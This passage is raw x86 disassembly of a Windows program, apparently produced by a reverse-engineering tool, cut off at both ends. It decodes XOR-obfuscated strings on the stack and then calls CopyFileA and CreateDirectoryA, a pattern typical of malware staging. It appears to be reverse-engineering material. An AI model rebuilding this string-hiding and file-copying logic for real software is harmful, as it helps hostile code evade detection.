mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5f0], eax
mov dword [ebp - 0x5ec], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5e8], eax
mov dword [ebp - 0x5e4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x5f0]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x5f0]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1148]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x5f0], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7b
or dword [ebp - 0x38], 8
cmp dword [eax + 0x14], 0xf
jbe 0x41088a
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x41089b
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x7a
mov eax, dword [ebp - 0x38]
test al, 8
je 0x4108ba
and eax, 0xfffffff7
lea ecx, [ebp - 0x1148]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x41099a
mov dword [ebp - 0x20], 0xc5f1a7f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xf3c01ed1
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x600], eax
mov dword [ebp - 0x5fc], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x5f8], eax
mov dword [ebp - 0x5f4], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x600]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x600]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x600], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x7c
sub esp, 0x14
lea eax, [ebp - 0xe78]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x7d
mov byte [ebp - 4], 0x7a
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x41099a
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xdde1b0f1
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0x80a17cb0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x610], eax
mov dword [ebp - 0x60c], ecx
mov dword [ebp - 0x20], 0x61454f13
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x608], eax
mov dword [ebp - 0x604], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x610]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x610]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xe90]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x610], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xe90]
cmp dword [ebp - 0xe7c], 0xf
cmova ecx, dword [ebp - 0xe90]
call fcn.004e4050
test al, al
je 0x410b1e
mov dword [ebp - 0x20], 0xdde1b0f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x80a17cb0
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x620], eax
mov dword [ebp - 0x61c], ecx
mov dword [ebp - 0x20], 0x61454f13
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x620]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x620]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1010]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x620], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x7f
or dword [ebp - 0x38], 0x10
cmp dword [eax + 0x14], 0xf
jbe 0x410b11
mov eax, dword [eax]
push 0
push eax
call edi
mov byte [ebp - 0x33], 1
test eax, eax
jne 0x410b22
mov byte [ebp - 0x33], 0
mov dword [ebp - 4], 0x7e
mov eax, dword [ebp - 0x38]
test al, 0x10
je 0x410b41
and eax, 0xffffffef
lea ecx, [ebp - 0x1010]
mov dword [ebp - 0x38], eax
call fcn.00402df0
cmp byte [ebp - 0x33], 0
je 0x410c21
mov dword [ebp - 0x20], 0xdde1b0f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0x80a17cb0
sub esp, 0x18
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], ecx
mov dword [ebp - 0x20], 0x61454f13
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x628], eax
mov dword [ebp - 0x624], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x630]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x630]
mov dword [ebp - 0x24], ecx
mov ecx, esp
xorps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x3c], esp
push eax
movaps xmmword [ebp - 0x630], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x80
sub esp, 0x14
lea eax, [ebp - 0xe90]
mov dword [ebp - 0x74], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x81
mov byte [ebp - 4], 0x7e
xor cl, cl
call fcn.004dd2b0
add esp, 0x30
test eax, eax
jne 0x410c21
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov dword [ebp - 0x20], 0xc7efb7f1
lea edx, [ebp - 0x6e8]
mov dword [ebp - 0x1c], 0xdda777b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x640], eax
mov dword [ebp - 0x63c], ecx
mov dword [ebp - 0x20], 0xf2a4f1c
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x638], eax
mov dword [ebp - 0x634], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x640]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x640]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0xb14]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x640], xmm1
call fcn.0041ab20
mov byte [ebp - 4], 0x82
lea eax, [ebp - 0xb14]
cmp dword [ebp - 0xb00], 0xf
cmova eax, dword [ebp - 0xb14]
sub esp, 0x14
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.00402cf0
mov byte [ebp - 4], 0x83
mov byte [ebp - 4], 0x82
call fcn.004e4120
add esp, 0x18
test al, al
je 0x410de7
mov dword [ebp - 0x20], 0xc7efb7f1
lea edx, [ebp - 0x148]
mov dword [ebp - 0x1c], 0xdda777b7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x650], eax
mov dword [ebp - 0x64c], ecx
mov dword [ebp - 0x20], 0xf2a4f1c
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x650]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x650]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1028]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x650], xmm1
call fcn.0041ab20
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x84
cmp dword [ecx + 0x14], 0xf
jbe 0x410dac
mov ecx, dword [ecx]
cmp dword [ebp - 0xb00], 0xf
lea eax, [ebp - 0xb14]
push 0
cmova eax, dword [ebp - 0xb14]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov byte [ebp - 4], 0x82
lea ecx, [ebp - 0x1028]
call fcn.00402df0
test esi, esi
je 0x410de7
mov byte [ebp - 0x32], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x7e
lea ecx, [ebp - 0xb14]
call fcn.00402df0
mov byte [ebp - 4], 0x7a
lea ecx, [ebp - 0xe90]
call fcn.00402df0
mov byte [ebp - 4], 0x76
lea ecx, [ebp - 0xe78]
call fcn.00402df0
mov byte [ebp - 4], 0x72
lea ecx, [ebp - 0xe60]
call fcn.00402df0
mov byte [ebp - 4], 0x71
lea ecx, [ebp - 0xe48]
call fcn.00402df0
cmp byte [ebp - 0x32], 0
jne 0x410e47
push ecx
lea ecx, [ebp - 0x148]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x6e
lea ecx, [ebp - 0x6e8]
call fcn.00402df0
mov dword [ebp - 0x20], 0xd1ef80f1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x660], eax
mov dword [ebp - 0x65c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x658], eax
mov dword [ebp - 0x654], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x660]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x660]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x750]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x660], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0x85
lea eax, [ebp - 0x750]
cmp dword [ebp - 0x73c], 0xf
push 0
cmova eax, dword [ebp - 0x750]
push eax
call edi
test eax, eax
je 0x411848
mov dword [ebp - 0x20], 0xd1efa0f1
xor al, al
mov dword [ebp - 0x1c], 0xf3c01ed1
mov byte [ebp - 0x33], al
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x670], eax
mov dword [ebp - 0x66c], ecx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x668], eax
mov dword [ebp - 0x664], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x670]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x670]
mov dword [ebp - 0x24], ecx
lea ecx, [ebp - 0x1040]
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x670], xmm1
call fcn.00402cf0
mov esi, eax
mov byte [ebp - 4], 0x86
mov dword [ebp - 0x20], 0xedd084ec
mov dword [ebp - 0x1c], 0xf3814a90
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x680], ecx
mov dword [ebp - 0x67c], edx
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x678], eax
mov dword [ebp - 0x674], ecx
mov dword [ebp - 0x20], 0xa980d4ad
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x61453c76
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x1c], 0xa0df89f8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
movaps xmm1, xmmword [ebp - 0x680]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x680]
mov dword [ebp - 0x24], ecx
xorps xmm1, xmmword [ebp - 0x30]
push eax
movaps xmmword [ebp - 0x680], xmm1
call fcn.004423d1
add esp, 4
lea ecx, [ebp - 0xef0]
mov edx, eax
push esi
call fcn.0041ace0
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0x1040]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0xef0]
mov ecx, esp
mov dword [ebp - 0x3c], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x89
push 1
mov byte [ebp - 4], 0x88
xor dl, dl
lea ecx, [ebp - 0xa54]
call fcn.004c33b0
add esp, 0x1c
mov byte [ebp - 4], 0x8a
mov eax, dword [ebp - 0xa54]
mov ecx, dword [ebp - 0xa50]
mov dword [ebp - 0x9c], eax
mov dword [ebp - 0x3c], ecx
cmp eax, ecx
je 0x411815
mov edi, dword [ebp - 0x38]
xorps xmm0, xmm0
mov dword [ebp - 0x114], 0
movups xmmword [ebp - 0x124], xmm0
mov dword [ebp - 0x110], 0
mov edx, 0x16
cmp dword [eax + 0x14], 0xf
mov ecx, eax
mov esi, dword [eax + 0x10]
mov dword [ebp - 0x7c], eax
jbe 0x4110fc
mov ecx, dword [eax]
mov dword [ebp - 0x7c], ecx
cmp esi, 0x7fffffff
ja 0x4122ac
cmp esi, 0xf
ja 0x411129
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x110], 0xf
movups xmm0, xmmword [ecx]
movups xmmword [ebp - 0x124], xmm0
jmp 0x411183
mov eax, esi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x41113c
mov eax, closesocket
jmp 0x411142
cmp eax, 0x16
cmovb eax, edx
mov dword [ebp - 0xf4], eax
lea eax, [ebp - 0xf4]
push eax
lea eax, [ebp - 0x124]
push eax
call fcn.004032d0
mov ecx, dword [ebp - 0xf4]
mov dword [ebp - 0x110], ecx
lea ecx, [esi + 1]
push ecx
push dword [ebp - 0x7c]
mov dword [ebp - 0x124], eax
push eax
mov dword [ebp - 0x114], esi
call fcn.00435260
add esp, 0x14
mov byte [ebp - 4], 0x8b
lea eax, [ebp - 0xca0]
mov byte [ebp - 0x74], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x8c
lea eax, [ebp - 0x124]
cmp dword [ebp - 0x110], 0xf
lea ecx, [ebp - 0xca0]
push dword [ebp - 0x114]
cmova eax, dword [ebp - 0x124]
push eax
push dword [ebp - 0x74]
call fcn.00429070
or edi, 0x200
add esp, 0xc
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x8b
and edi, 0xfffffdff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0xca0]
cmp dword [ebp - 0xc8c], 7
mov eax, dword [ebp - 0xc90]
cmova ecx, dword [ebp - 0xca0]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00405640
sub esi, eax
mov dword [ebp - 0x9d8], eax
push ecx
lea eax, [ebp - 0x9d8]
sar esi, 1
push eax
lea ecx, [ebp - 0xec0]
mov dword [ebp - 0x9d4], esi
call fcn.0041a4f0
lea eax, [ebp - 0x10c]
or edi, 0x100
push eax
lea ecx, [ebp - 0xec0]
mov dword [ebp - 0x38], edi
call fcn.00405980
mov byte [ebp - 4], 0x8f
and edi, 0xfffffeff
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0xec0]
call fcn.004188d0
mov dword [ebp - 0x20], 0xd1efa083
mov dword [ebp - 0x1c], 0xf3c01ed1
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x200], eax
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x98], 0x61453c76
mov dword [ebp - 0x94], 0xa0df89f8
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1f8], eax
mov dword [ebp - 0x1f4], ecx
mov dword [ebp - 0x90], 0xa980d4ad
mov dword [ebp - 0x8c], 0xf3c01ed1
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x88], 0x61453c76
mov dword [ebp - 0xb70], eax
mov dword [ebp - 0x84], 0xa0df89f8
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0xb6c], ecx
mov ecx, dword [ebp - 0x84]
movaps xmm1, xmmword [ebp - 0x200]
mov dword [ebp - 0xb68], eax
mov dword [ebp - 0xb64], ecx
xorps xmm1, xmmword [ebp - 0xb70]
lea edx, [ebp - 0x200]
movaps xmmword [ebp - 0x200], xmm1
lea ecx, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x411320
sub edx, ecx
lea eax, [ebp - 0x200]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov dword [ebp - 0xc0], 0xc0eebd83
lea edx, [ebp - 0x210]
mov dword [ebp - 0xbc], 0xf3c01ed1
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xbc]
mov dword [ebp - 0x20c], ecx
mov dword [ebp - 0x210], eax
mov dword [ebp - 0xb8], 0x61453c76
mov dword [ebp - 0xb4], 0xa0df89f8
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xb4]
mov dword [ebp - 0x204], ecx
mov dword [ebp - 0x208], eax
mov dword [ebp - 0xb0], 0xa980d4ad
mov dword [ebp - 0xac], 0xf3c01ed1
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0xac]
mov dword [ebp - 0xa8], 0x61453c76
mov dword [ebp - 0xb60], eax
mov dword [ebp - 0xb5c], ecx
mov dword [ebp - 0xa4], 0xa0df89f8
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
movaps xmm1, xmmword [ebp - 0x210]
mov dword [ebp - 0xb54], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb58], eax
xorps xmm1, xmmword [ebp - 0xb60]
movaps xmmword [ebp - 0x210], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x411430
sub edx, ecx
lea eax, [ebp - 0x210]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov dword [ebp - 0xd8], 0xa9e2b083
lea edx, [ebp - 0x220]
mov dword [ebp - 0xd4], 0xf3c01ed1
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
mov dword [ebp - 0x21c], ecx
mov dword [ebp - 0x220], eax
mov dword [ebp - 0xd0], 0x61453c76
mov dword [ebp - 0xcc], 0xa0df89f8
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 0xcc]
mov dword [ebp - 0x214], ecx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0xc8], 0xa980d4ad
mov dword [ebp - 0xc4], 0xf3c01ed1
mov eax, dword [ebp - 0xc8]
mov ecx, dword [ebp - 0xc4]
mov dword [ebp - 0x1c8], 0x61453c76
mov dword [ebp - 0xb80], eax
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0x1c4], 0xa0df89f8
mov eax, dword [ebp - 0x1c8]
mov ecx, dword [ebp - 0x1c4]
movaps xmm1, xmmword [ebp - 0x220]
mov dword [ebp - 0xb74], ecx
lea ecx, [edx + 1]
mov dword [ebp - 0xb78], eax
xorps xmm1, xmmword [ebp - 0xb80]
movaps xmmword [ebp - 0x220], xmm1
nop dword [eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x411540
sub edx, ecx
lea eax, [ebp - 0x220]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0x10c]
push edx
cmova ecx, dword [ebp - 0x10c]
mov edx, dword [ebp - 0xfc]
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x411582
mov edi, dword [ebp - 0x38]
jmp 0x4117ca
mov dword [ebp - 0x248], 0xa980d4f1
mov dword [ebp - 0x244], 0xf3c01ed1
mov eax, dword [ebp - 0x248]
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0x188], 0x61453c76
mov dword [ebp - 0x184], 0xa0df89f8
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x184]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0xe8], 0xa980d4ad
mov dword [ebp - 0xe4], 0xf3c01ed1
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x4c], ecx
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x44], ecx
xorps xmm1, xmmword [ebp - 0x50]
movaps xmmword [ebp - 0x270], xmm1
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x270]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411640
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x740]
sub eax, edx
cmp eax, ecx
jb 0x4122ac
cmp dword [ebp - 0x73c], 0xf
lea eax, [ebp - 0x750]
push ecx
cmova eax, dword [ebp - 0x750]
lea ecx, [ebp - 0x270]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x14]
lea ecx, [ebp - 0xed8]
call fcn.0041e8a0
mov edi, dword [ebp - 0x38]
or edi, 0x400
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x93
lea eax, [ebp - 0x10c]
cmp dword [ebp - 0xf8], 0xf
lea ecx, [ebp - 0xed8]
push dword [ebp - 0xfc]
cmova eax, dword [ebp - 0x10c]
push eax
call fcn.00418f00
mov dword [ebp - 0x1b0], 0
lea ecx, [ebp - 0x1c0]
mov dword [ebp - 0x1ac], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x1c0], xmm0
or edi, 0x800
movups xmm0, xmmword [eax]
push 0
movups xmmword [ebp - 0x1c0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x1b0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x124]
mov dword [ebp - 0x38], edi
cmp dword [ebp - 0x1ac], 0xf
cmova ecx, dword [ebp - 0x1c0]
cmp dword [ebp - 0x110], 0xf
push ecx
cmova eax, dword [ebp - 0x124]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xfffff7ff
mov esi, eax
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x92
mov ecx, dword [ebp - 0x1ac]
cmp ecx, 0xf
jbe 0x41178b
mov edx, dword [ebp - 0x1c0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x411781
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4122a7
push ecx
push edx
call fcn.004338e3
add esp, 8
and edi, 0xfffffbff
mov dword [ebp - 0x1b0], 0
mov dword [ebp - 0x1ac], 0xf
mov byte [ebp - 0x1c0], 0
mov dword [ebp - 0x38], edi
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0xed8]
call fcn.00402df0
test esi, esi
je 0x4117ca
mov byte [ebp - 0x33], 1
mov byte [ebp - 0x31], 1
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x10c]
call fcn.00402df0
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0xca0]
call fcn.004188d0
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x124]
call fcn.00402df0
mov eax, dword [ebp - 0x9c]
add eax, 0x18
mov dword [ebp - 0x9c], eax
cmp eax, dword [ebp - 0x3c]
jne 0x4110c6
cmp byte [ebp - 0x33], 0
jne 0x411824
push ecx
lea ecx, [ebp - 0x750]
call fcn.004e3b20
add esp, 4
mov byte [ebp - 4], 0x88
lea ecx, [ebp - 0xa54]
call fcn.004185d0
mov byte [ebp - 4], 0x85
lea ecx, [ebp - 0xef0]
call fcn.00402df0
mov edi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x28], 0xcde984f1
lea edx, [ebp - 0x260]
mov dword [ebp - 0x24], 0xf3ae77b6
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x690], eax
mov dword [ebp - 0x68c], ecx
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x688], eax
mov dword [ebp - 0x684], ecx
mov dword [ebp - 0x28], 0xa980d4ad
mov dword [ebp - 0x24], 0xf3c01ed1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x28], 0x61453c76
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x24], 0xa0df89f8
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
movaps xmm1, xmmword [ebp - 0x690]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x690]
